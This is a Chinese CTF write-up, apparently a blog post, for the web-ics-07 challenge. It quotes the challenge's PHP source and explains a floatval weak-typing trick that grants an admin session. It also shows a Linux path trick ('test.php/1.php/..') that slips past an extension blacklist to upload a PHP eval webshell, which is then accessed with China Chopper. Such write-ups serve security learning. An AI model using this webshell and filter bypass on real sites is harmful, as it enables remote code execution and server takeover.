linux系统过滤文件类型,攻防世界-web-ics-07(PHP弱类型、linux目录结构特性绕过文件类型过滤)...

工控云管理系统项目管理页面解析漏洞。

进入题目后,点击进入项目管理页面。

87175fd25579f0014bcf2a88944d1599.png

点击view-source查看源码。

8f900a89c6347c561fdf2122f13be562.png

961ddebeb323a10fe0623af514929fc1.png

cetc7

session_start();

if (!isset($_GET[page])) {

show_source(__FILE__);

die();

}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {

include('flag.php');

}else {

header('Location: ?page=flag.php');

}?>

page :id :

view-source

if ($_SESSION['admin']) {

$con = $_POST['con'];

$file = $_POST['file'];

$filename = "backup/".$file;

if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){

die("Bad file extension");

}else{

chdir('uploaded');

$f = fopen($filename, 'w');

fwrite($f, $con);

fclose($f);

}

}?>

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {

include 'config.php';

$id = mysql_real_escape_string($_GET[id]);

$sql="select * from cetc007.user where id='$id'";

$result = mysql_query($sql);

$result = mysql_fetch_object($result);

} else {

$result = False;

die();

}

if(!$result)die("
something wae wrong !
");

if($result){

echo "id: ".$result->id."";

echo "name:".$result->user."";

$_SESSION['admin'] = True;

}?>

View Code

1 代码解析:发现漏洞

下面对代码进行解析。关键代码有3段。

第一段

如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。

}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');

}else{header('Location: ?page=flag.php');

}?>

第二段

在$_SESSION['admin'] = True的情况下,POST提交con和file两个参数,对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。正则匹配这里把一些后缀加入了黑名单

}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);

}

}?>

第三段

这一段可以使$_SESSION['admin'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。

这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1 9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION['admin'] = True;

}else{$result = False;die();

}if(!$result)die("
something wae wrong !
");if($result){echo "id: ".$result->id."";echo "name:".$result->user."";$_SESSION['admin'] = True;

}?>

2 构造payload:上传木马

下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

7e04e366f937526f13908ec98372fad0.png

payloa如下

con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..

d42cf1aaba5d415791648d4c79e3b8f7.png

注意这里page参数的值不能为flag.php,否则是上传不成功的。

访问/uploaded/backup/目录,发现上传成功。

42cb30dbfcfb7c3f3cb4cc2e2d30aacc.png

3 菜刀连接:获取flag

上菜刀。

ea08c7cb9c24bf2892dc3fa092a6d3a0.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值